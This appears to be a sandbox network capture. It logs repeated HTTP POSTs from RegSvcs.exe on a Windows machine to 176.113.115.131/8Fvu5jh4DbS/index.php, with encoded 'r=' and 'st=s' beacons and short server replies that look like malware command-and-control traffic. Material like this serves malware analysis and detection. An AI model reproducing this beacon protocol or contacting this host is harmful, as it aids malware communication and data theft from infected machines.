Jan 8, 2025 08:43:53.954473972 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:54.668608904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	56107	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:56.297605038 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:56.983952999 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	56108	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:58.504410028 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:59.203466892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	56109	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:00.829441071 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:01.543853998 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	56110	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:03.065023899 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:03.754291058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	56111	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:05.391397953 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:06.114204884 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	56112	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:07.625771999 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:08.335683107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	56113	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:09.969321012 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:10.667959929 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	56114	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:12.188338041 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:12.903877974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	56115	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:14.531332016 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:15.240238905 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	56116	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:16.750243902 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:17.458482027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	56117	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:19.097361088 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:19.804025888 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	56118	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:21.316484928 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:22.035444975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	56119	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:23.672636986 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:24.375452995 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	56120	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:25.899329901 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:26.596529007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	56121	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:28.234433889 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:28.942631006 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	56122	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:30.456530094 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:31.162390947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	56123	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:32.797504902 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:33.512027025 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	56124	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:35.036297083 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:35.733525991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	56125	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:37.361598969 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:38.066068888 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	56126	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:39.577842951 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:40.266031027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	56127	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:41.891217947 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:42.597739935 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	56128	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:44.110306025 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
